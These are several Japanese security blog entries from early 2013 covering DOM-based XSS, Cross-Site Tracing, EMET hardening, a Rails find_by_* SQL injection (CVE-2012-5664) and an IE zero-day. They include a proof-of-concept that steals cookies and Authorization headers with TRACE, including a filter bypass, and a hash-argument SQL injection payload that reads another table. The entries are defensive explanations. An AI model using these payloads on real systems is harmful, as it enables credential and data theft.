2013年1月29日火曜日

IPAから『DOM Based XSS』に関するレポート出ました

DOM Based XSSに関しては、IPA「安全なウェブサイトの作り方」でも、拙著でもごく簡単にしか触れておらず、まとまった解説が要望されていましたが、本日(2013年1月29日)にIPAから「IPA テクニカルウォッチ『DOM Based XSS』に関するレポート」が公開されました。
同冊子の目次は下記の通りです。
はじめに
1. DOM Based XSSの概要
2. IPAに報告されたDOM Based XSSの脆弱性
3. DOM Based XSSの事例
4. DOM Based XSSの対策方法
コラム
おわりに
IPAのレポートと言うことで、DOM based XSSの届出の状況も説明されています。以下にグラフを引用します。


一見して「急増」していることと、昨年の10月から12月の3ヶ月で92件も届出があったということで、対策が急務となっている状況が見て取れます。これは、この時期に「脆弱なサイトやアプリが増えた」ということでは恐らくなく、潜在的に脆弱な状況であったものが発見され、届出されたということだと理解しています。

1章では、XSSの種類や、DOMとは何かというところから説明されています。本書の対象読者は一応DOMについては知っているはず(べき)だとは思いますが、この機会に理解を整理していただくとその後のDOM based XSSの理解が容易になると思います。
2章は届出の概要、3章は届け出られた脆弱性の中から4例を脆弱なコードとともに紹介しています。やはり「脆弱なコードの現物」は貴重ですし、勉強になることが多いと思いました。
4章は対策をコード例とともに載せています。原則はDOM操作用のメソッドやプロパティを使うことですが、document.writeやinnerHTMLを使わざるを得ないケースについては、文脈に応じたエスケープについて説明しています。

さて、徳丸はIPA非常勤研究員として、同冊子のレビュアーという形で参画していますが、DOM based XSSがテーマだけに、「あー、○○さんにもレビューいただけたらなぁ」(○○さんは複数)と思うことしきりでした。それだけに、今回公開して終わりと言うことではなく、さまざまな方からの知見を集めて、より良いものにしていきたいと希望しております。

なお、このエントリは個人の見解として書いているものであり、IPAとしての見解ではないことを付記いたします。

2013年1月24日木曜日

実はそんなに怖くないTRACEメソッド

Cross-Site Tracing(XST)という化石のような攻撃手法があります。「化石」と書いたように、既に現実的な危険性はないのですが、XSTに関連して「TRACEメソッドは危険」というコメントを今でも見ることがあります。
このエントリでは、XSTという攻撃手法について説明し、XSTおよびTRACEメソッドについてどう考えればよいかを紹介します。

TRACEメソッドとは

HTTP 1.1(RFC2616)では、8種類のメソッドが定義されています。GET、POST、HEADなどはおなじみのものですが、それ以外にPUT、DELETE、OPTIONS、TRACE、CONNECTの5種があります。
このうち、TRACEメソッドは、HTTPリクエストを「オウム返しに」HTTPレスポンスとして返すもので、以下のようにGET等の代わりにTRACEとしてWebサーバーにリクエストします。
TRACE /auth/index.php HTTP/1.1
Host: example.jp
User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:18.0) Gecko/20100101 Firefox/18.0
Cookie: PHPSESSID=4lel0hml53u2tbhcd9pmo7pkc4
Authorization: Basic eWFtYWRhOnBhc3N3b3Jk
Connection: keep-alive
レスポンスの例を以下に示します。
HTTP/1.1 200 OK
Date: Tue, 22 Jan 2013 13:51:09 GMT
Server: Apache/2.2.14 (Ubuntu)
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: message/http
Content-Length: 198

TRACE /auth/index.php HTTP/1.1
Host: example.jp
User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:18.0) Gecko/20100101 Firefox/18.0
Cookie: PHPSESSID=4lel0hml53u2tbhcd9pmo7pkc4
Authorization: Basic eWFtYWRhOnBhc3N3b3Jk
Connection: keep-alive
レスポンスボディ(青字の部分)に注目すると、HTTPリクエストがそのまま返されていることが分かります。この中には、CookieヘッダやAuthorizationヘッダも含まれます。

Cross-Site Tracing(XST)攻撃とは

XST攻撃とは、XSSとTRACEメソッドを組み合わせた攻撃手法であり、2003年1月に発表されました
XSS単独では、XSSによりJavaScript等が動いているブラウザ上のレスポンス(ヘッダ及びボディ)は取得出来ますが、リクエストヘッダを取得することはできません。このため通常は、HttpOnly属性の指定されたCookieや、Authorizationヘッダ(Basic認証のIDとパスワード)を取得することはできません。
しかし、TRACEメソッドを実行すると、先に見たようにリクエストヘッダがそのままレスポンスとして返るので、XSS単独ではとることのできないHttpOnly属性の指定されたCookieや、Authorizationヘッダを盗み出すことができます。これがXST攻撃です。とくに、BASIC認証のIDとパスワードを盗むことができると、長期にわたって不正にログインすることができてしまうため、XSSの影響が大きくなります。

XST攻撃の実際

それでは、XST攻撃の実際を見てみましょう。以下はXST攻撃のコード例です。
<body>
<script type="text/javascript">
function sendTrace (trace) {
 try {
  var xhr = 0;
  if (window.XMLHttpRequest) {
    xhr = new XMLHttpRequest();
  } else {
     xhr = new ActiveXObject("Microsoft.XMLHTTP");
  }
  if (trace == 1) {
    xhr.open("TRACE", "/auth/", false);
  } else if (trace == 2) {
    xhr.open("\nTRACE", "/auth/", false);
  } else {
    xhr.open("GET", "/auth/", false);
  }
  xhr.send();
  res = xhr.responseText;
  alert(res);
 } catch (e) {
  alert('Error:' + e.message);
 }
}
</script>
<input type="button" onclick="sendTrace(0);" VALUE="GET">
<input type="button" onclick="sendTrace(1);" VALUE="TRACE">
<input type="button" onclick="sendTrace(2);" VALUE="\nTRACE">
</body>
Windows XP SP1のIE6での実行結果は下記となります。CookieとAuthrizationヘッダが取得できていることがわかります。この場合、HttpOnlyのCookieでも取得出来ます。


さて、Windwos XP SP1というと、とっくにサポートが切れているバージョンですが、より新しいバージョンのWindowsではどうでしょうか。Windows XP SP2(SP2を適用し他のパッチは適用していないもの)の場合、実行結果は下記となります。


JavaScriptの例外が発生しています。これは、TRACEメソッドをXMLHttpRequestオブジェクトから発行することが禁止されたことを意味しています。
しかし、このチェックには漏れがあり、"TRACE"の代わりに、"\nTRACE"(先頭に改行を含む)の場合は、TRACEメソッドが通ってしまいます。この内容については金床さんの記事が参考になります。

このチェック漏れですが、SP2に対するパッチで修正された模様で、SP2にすべてのパッチを適用したIE6だと、エラーになります。

XSTがブラウザ側で対策されたのはいつ?

さて、現在ではすべてのブラウザでXST対策がとられ、XST攻撃を行うことはできなくなっています(参考:XMLHttpRequestオブジェクトを使ったTRACEメソッド送信のブラウザ対応状況を確認してみる)。それでは、ブラウザ側でXST対策されるようになったのはいつ頃でしょうか。
上記のように、Windows XP SP2では不完全ながらXSTの対策がとられていますが、Windows XP SP2が出荷されたのは2004年9月ですから、当時既に「XSTはブラウザ側で対処すべし」という意識になっていたと思われます。また、GSXの白石さんの調査によると、IE以外のブラウザでXST攻撃ができたのは、Firefoxの1.0.5(2005年9月リリース)までであり、2005年11月リリースのFirefox1.5では攻撃が抑止されています。その他の、Opera、Google Chrome、Safariについては、XST可能なバージョンはありません。

これらの状況から、主要ブラウザに関しては2006年頃の段階では既にXSTの対策を終えており、現在サポートが継続されているバージョンについては、XST攻撃可能なブラウザはないと言えます。

XSTおよびTRACEメソッドをどのように捉えるか

このような状況にあるにも関わらず、最近でも「TRACEメソッドは危険」という記事を見かけることがあります(参考:TRACEメソッドって怖いんです - カイワレの大冒険)。しかし、以下の理由により、TRACEメソッドが危険というのは、あたらなくなっているというのが実情ではないでしょうか。
  • XSTは元々XSS脆弱性が存在しないと危険性はない
  • XSS単独でも危険な脆弱性である
  • XSTがなくてもXSS単体でBASIC認証のあるコンテンツを盗むことはできる
  • 主要ブラウザでは5年ほど前からXST防御機能が入っている
  • 古いブラウザを使うこと自体が大変危険な行為である
それにも関わらず、TRACEメソッドはWebサーバー側で止めておけと言われている理由は下記理由からです。
  • XSTで万一BASIC認証のパスワードが漏洩すると影響が長期に及ぶ
  • XSSを完全に排除することは実際には困難である
  • TRACEメソッドはApacheの設定で極めて容易に止めることができ、副作用もない
つまり、現在ではXSTの危険性はほとんどないが、TRACEを止めることは簡単に実現でき副作用もないので「TRACEを止めておけば安心」という程度のものであるわけです。

このため、TRACEをサーバー側設定で禁止することはやってもよいと思いますが、いまやTRACEを許容しているからと言って、サーバー設定の脆弱性とまでは言えないと考えられます。

脆弱性診断の実務では、TRACEメソッドを許容した状態を多くの診断業者は指摘すると考えられますが、危険度は「情報」(脆弱性とまでは言えないが一応ご報告)が妥当と考えます。今時、TRACEメソッドの許容を「重大な脆弱性」と指摘する事業者がもしあれば、それはちと過剰な指摘だなと個人的には考えます。

2013年1月9日水曜日

EMET3.5でIEを防御する(CVE-2012-4792)

先のエントリ「IE6,7,8のゼロデイ脆弱性(CVE-2012-4792)の対処法」で紹介したIE6~8のゼロデイ脆弱性(CVE-2012-4792)については、Fix Itによる回避策が提供されていますが、これを回避する攻撃が開発されたようです。
Researchers at Exodus Intelligence reported today they have developed a new attack that bypasses the FixIt issued by Microsoft. They were able to bypass and compromised a fully-patched system using some variation of the exploit published this week.
https://isc.sans.edu/diary/14824
試訳
Exodus Intelligenceの研究者たちは、Microsoftから提供されたFixItをバイパスする新しい攻撃を開発したと今日報告した。彼らは、今週発表されたexploitのいくつかのバリエーションを使用して、完全にパッチを適用したシステムをバイパスして危殆化することに成功した。 
一方、EMET(Enhanced Mitigation Experience Toolkit) 3.5を用いて、CVE-2012-4792の攻撃を回避できたとする報告もあるようです。EMETは元々Microsoftが回避策として提案していたツールです。
EMETは少し扱いの難しいツールですが、業務の都合上などでどうしてもWindows XP上のIE8以下のブラウザを使用しなければならないケースを想定して、Windows XP上にEMET 3.5 Tech Previewを導入して、IE用の設定をする方法を説明します。効果などは、前述のブログ記事を参照下さい。

EMET 3.5のダウンロードと導入

EMET 3.5の導入は以下のURLから可能です。

http://www.microsoft.com/en-us/download/details.aspx?id=30424


右下のDOWNLOADをクリックすると、ダウンロードが始まります。インストールは特に難しいところはありません。

EMET 3.5の設定

インストールが終了したら、EMETを起動します。


右下のConfigure Appsというボタンをクリックします。


Application Configurationというダイアログが表示されます。FileメニューからImport ...をクリックします。ファイル選択のダイアログが表示されます。



C:\Program Files\EMET (Tech Preview)\Deployment\Protection Profiles\Internet Explorer.xmlというファイルを開きます。これは、IE用の設定を予め記述したものです。


上記は、Application ConfigurationダイアログのAllタブをクリックした状態です。EMET3.5では、上記のように多くのメモリ保護の手段が提供されており、IEに対しては、そのすべてが有効となっています。これら機構のいずれかが働くことによって、任意のコマンド実行を防ぎます。

注意

合同会社セキュリティ・プロフェッショナルズ・ネットワークの塩月誠人さんに教えていただいたところによると、IEのアドオンによっては、誤検知によりIEごと落ちてしまうようです。その場合は、原因となったアドオンを無効にするか、EMET側の対応するルールを無効にする必要があります。
また、EMETはかなり強力なツールではありますが、IEの更新プログラムの代わりになるものではありませんで、IEの更新プログが提供され、適用するまでは、IEの使用は最小限に留めることをおすすめします。
企業等で導入する場合は、事前に十分にテストしてから展開してください。

追記(2013/1/9 15:50)

北河さん(@kitagawa_takuji)から、前述のExodus IntelligenceはEMETもバイパスできると主張していることを教えていただきました。北河さん、ありがとうございます。


まだこのツイートのみで詳細は不明ですが、EMETは有力なツールではあるものの過信は禁物であり、IE8以前の使用は社内システムなど必要最低限に留めるべきであることをあらためて強調したいと思います。


2013年1月3日木曜日

Ruby on Railsのfind_by_*メソッドにSQLインジェクション脆弱性(CVE-2012-5664)

Ruby on Rails(3.2.9, 3.1.8, 3.0.17以前)のfind_by_*メソッドにSQLインジェクション脆弱性が見つかりました(CVE-2012-5664)。このエントリではその概要と対策について説明します。

概要

Ruby on Railsのfind_by_*メソッドの引数としてハッシュを指定することで、任意のSELECT文を実行できる脆弱性があります。

検証

Ruby on Rails3.2.9の環境を用意して、以下の2つのモデルを用意しました。
$ rails g scaffold user name:string email:string
$ rails g scaffold book author:string title:string
モデルUserは個人情報を保持しており、自分自身の情報のみが閲覧できるという想定です。モデルBookは書誌データベースであり、すべて公開情報であるとします。

自動的に生成されたコントローラのshowメソッドは下記となっています。
  def show
    @book = Book.find(params[:id])
    respond_to do |format|
      format.html # show.html.erb
      format.json { render json: @book }
    end
  end
これが生成するSQL文は下記となります。
    SELECT "books".* FROM "books" WHERE "books"."id" = ? LIMIT 1 [["id", "1"]]
プレースホルダを用いてSQL文が生成されているので、いい感じです。
画面表示は下記となります。


次に、findメソッドをfind_by_idに変更してみます。
    @book = Book.find_by_id(params[:id])
生成されるSQL文は以下となります。プレースホルダを使っていないので嫌な感じです。
    SELECT "books".* FROM "books" WHERE "books"."id" = 1 LIMIT 1
念のため、1の代わりに、1 or 1 = 1を指定してみましょう。検証のため、条件をハードコードします。
    @book = Book.find_by_id('1 or 1 = 1')
生成されるSQL文は下記となります。大丈夫ですね。
    SELECT "books".* FROM "books" WHERE "books"."id" = 1 LIMIT 1
ところが、以下のように、find_by_idの引数をハッシュにすることで、任意のSQL文を指定できます。
    @book = Book.find_by_id({:select =>"name as author, email as title, id from users limit 1 --"})
生成されるSQLは以下の通りです。列名を合わせるために、SELECT文で別名を指定しています。本来のSQL文は--によりコメントアウトされています。
    SELECT name as author, email as title, id from users limit 1 -- FROM "books" WHERE "books"."id" IS NULL LIMIT 1
この際の表示は下記となります。本来、書誌情報が表示されるべきところに、個人情報が表示されてます。


以上のように、find_by_*のパラーメタとしてハッシュを指定することが出来れば、任意のテーブルの情報を取り出すことができることがわかりました。

攻撃経路について

私自身がRuby on Railsに詳しくないので、find_by_idの引数にハッシュを指定できる可能性がどれくらいあるのか評価できないのですが、この問題を最初に取り上げたブログ「Let Me Github That For You」によると、なんらかの理由でsecret_token.rbに定義されたsecret_token値が既知である場合(公開されたソースを修正しないでそのまま使っている場合など)に、セッションCookieを改変してuser_credentials_idに上記のハッシュをシリアライズしたものを埋め込む可能性を指摘しています。
しかし、secret_token 値が既知だという前提では、セッションの内容を第三者が改変できてしまうため、これ自体が重大な問題です。このため、この想定は少々乱暴なように思えます。それに、先のブログでは以下のように指摘されています。
The simple problem is, that most developers are simply not aware of the confidentiality of this file , and in result they 'll happly(happilyのtypoか?) check it into Github or other online repositories
試訳
単純な問題点は、大部分の開発者がこのファイル(注: secret_token.rb)を機密にすべきことを単に承知しておらず、その結果、開発者たちはそのファイルをご機嫌でGithubその他のオンラインレポジトリにチェックインして(その結果公開して)しまうことだ。
すなわち、ブログ「Let Me Github That For You」の趣旨は、Ruby on RailsのSQLインジェクションがあることの指摘ではなく、多くのアプリケーションがsecret_tokenを適切に秘匿していないことを問題視しているように私は感じました。

対策

既にRuby on Railsの対策版が公開されています(3.2.10, 3.1.9, 3.0.18)。Ruby on Rails 3.2.10で先と同じことをすると、生成されるSQL文は下記となります。
    SELECT "books".* FROM "books" WHERE "id"."select" = 'name as author, email as title, id from users limit 1 --' LIMIT 1
WHEREの後の"id"."select"が微妙な感じではありますが、実害はないでしょう。これにより、SQLインジェクション攻撃を防止しています。
また、すぐにRuby on Railsのバージョンアップが難しい場合の回避策が、SECLISTS.ORGに紹介されています。 find_by_*を呼び出している箇所を探して、以下のようなメソッド呼び出しがあれば、
  Post.find_by_id(params[:id])
以下のように文字列に変換します。これにより、ハッシュがfind_by_*メソッドに渡されることを防止できます。
  Post.find_by_id(params[:id].to_s)

まとめ

Ruby on Railsのfind_by_*メソッドのSQLインジェクション脆弱性について説明しました。find_by_*メソッドの引数にハッシュが渡る可能性の評価については、私にはできませんので、Ruby on Railsに詳しい方の評価を待ちたいと思います。

追記(2013/1/4 2:10)

twitterにて、@hasimoさんから、この問題の優れた解説「Rails SQL injection vulnerability: hold your horses, here are the facts」を紹介いただきました。これによると、クエリ文字列 id[select]=xxxx の形でパラメタidにハッシュを与えることはできるが、ハッシュのキーが文字列になるためにSQLインジェクションには至らないということでした。ためしてみると、確かにそうなります。

アプリケーションに以下のクエリ文字列を指定して呼び出した場合、
    id[select]=name+as+author,+email+as+title,+id+from+users+limit+1+--
Ruby on Railsアプリケーションの受け取る値は下記となります。
    {"select"=>"name as author, email as title, id from users limit 1 --"}
一見、先のPoCと似ていますが、ハッシュのキーが、PoCではシンボル :select であるのに対して、クエリ文字列の場合は、キーが文字列 "select" です。そして、キーが文字列の場合は、SQLインジェクションにはなりません。

上記から考えても、CVE-2012-5664によってSQLインジェクションの攻撃を受けるシナリオというのは、ゼロではないにしても、相当レアなケースであると考えられます。

しかしながら、SQLインジェクション攻撃の影響は甚大です。できる限り、Ruby on Railsの対策版へのバージョンアップか、上記回避策の導入を推奨いたします。

2013年1月1日火曜日

IE6,7,8のゼロデイ脆弱性(CVE-2012-4792)の対処法

昨年末に、Internet Explorer(IE)のゼロデイ脆弱性(CVE-2012-4792)が発表されました。既にこの脆弱性を悪用した攻撃が観察されているということですので、緊急の対応を推奨します。

概要は、Microsoft Security Advisory (2794220)にまとめられていますが、英文ですので、JVNのレポート「JVNVU#92426910 Internet Explorer に任意のコードが実行される脆弱性」をご覧になるとよいでしょう。

影響を受けるシステム:
  • Internet Explorer 6
  • Internet Explorer 7
  • Internet Explorer 8

想定される影響:
細工された HTML ドキュメントや Office ファイル等を閲覧することで、任意のコードが実行される可能性があります。

対策方法:
2012年12月31日現在、対策方法はありません。

対策方法がないということですので、IE9以降を使うか、IE以外のブラウザを使うことで回避しましょう。IE6~IE8を使う場合に、Enhanced Mitigation Experience Toolkit (EMET) を適用するなどの緩和策も紹介されていますが、EMETの設定などが今のところ示されていないことと、どこまで攻撃を緩和してくれるのか不明なので、対策パッチが出るまで下記の回避策を実施するのが良いと考えます。

追記(2013/1/9): EMETによる回避策の有効性が分かってきましたので、その設定方法を「EMET3.5でIEを防御する(CVE-2012-4792)」にまとめました。

Windows XP、Windows Server 2003ユーザ

Windows XPとWindows Server 2003にはIE9を導入できないので、IE以外のブラウザとしてGoogle Chrome、Firefox、Operaなど別のブラウザの使用を推奨します。Windows版Safariについては致命的な脆弱性があり、アップデートの予定もないことから、使用停止の勧告が既に出ています(JVN#42676559)。

追記(2013/1/8)
合同会社セキュリティ・プロフェッショナルズ・ネットワークの塩月誠人さんから、IE以外のブラウザという表記についてご指摘をいただきました。見かけ上IE以外の名称のブラウザであっても、IEエンジンを使用しているブラウザの場合、IEと同様の影響を受けます。塩月氏によると、以下のブラウザで当該脆弱性の影響を確認しているとのことです。
例)
Lunascape 6 (Tridentレンダリングエンジン)
Sleipnir 3 (IE互換モード)
Firefox + IE Tab2
Chrome + IE Tab
ご指摘の通りです。塩月さん、ありがとうございました。
(追記終わり)


この機会にWindows 8(あるいはWindows 7)への移行を検討するのもよいでしょう。

Windows Vista、Windows 7、Windows Server 2008(R2含む)ユーザ

IE9では当該脆弱性の影響を受けないとされていますので、IE9に移行することで脆弱性を回避できます。
あるいは、IE以外のブラウザ(Google Chrome、Firefox、Opera)を使うことも有力な回避策です。
普段IEを使っていない方も、この機会にIE9に移行しておきましょう。

Windows 8、Windows Server 2012ユーザ

Windows 8とWindows Server 2012には元々IE10がインストールされているので、当該脆弱性の影響は受けないと考えられます。

まとめ

IEのゼロデイ脆弱性(CVE-2012-4792)の対処方法について、Windowsのバージョンごとに紹介しました。対策パッチが出て適用するまでは、IE6~IE8は使用禁止にするしかなさそうです。
前述のとおり、Windows版Safariには致命的な脆弱性があり、アップデートの予定もないことから、使用停止の勧告が昨年の10月23日に出ています(JVN#42676559)。
現在休暇中の企業・団体が多いと思いますので、休暇明けの即座の展開を推奨します。

追記(2012/1/2 12:30)

Microsftからこの脆弱性に対するFix itが公開されました。Fix itとは、セキュリティ問題を含むさまざまな現象に対して、設定変更による解決を簡便に実施するためのプログラムです。
CVE-2012-4792に対しては、Shimというものを使った回避策を提供するFix itのようです。


あくまでも回避策であって、Fix itの説明にも下記のように説明されています。
The Fix it solution that is described in this section is not intended to be a replacement for any security update. We recommend that you always install the latest security updates. However, we offer this Fix it solution as a workaround option for some scenarios.
http://support.microsoft.com/kb/2794220
試訳
このセクションに記載したFix itソリューションは、セキュリティ更新プログラムの代替として意図したものではありません。常に最新のセキュリティ更新プログラムをインストールすることをお勧めします。しかしながら、いくつかのシナリオに対する回避策のオプションとして、このFix itソリューションを提供するものです。
ということで、回避策として有効ではあるのでしょうが、すべての脅威を取り除くことまでは期待できないようです。なんらかの理由で、IE6~IE8を残したままにしている環境では、このFix itを導入するとよいでしよう。
Fix itを導入するには、先のページにて以下のアイコンの箇所を探します。


左側が、この問題の回避策のFix ix、右側がそれを解除するためのFix itです。すなわち、通常は左側のみを導入することに注意してください。よくわからないからと両方導入してしまうと、Fix itを導入して、即座に解除することになってしまいます。

結論としては、IE6~IE8の導入された環境にはこのFix itを導入するとよいと思いますが、インターネット利用の際には、IE以外のGoogle Chrome、Firefox、Opera等を利用することを、引き続き推奨します。

フォロワー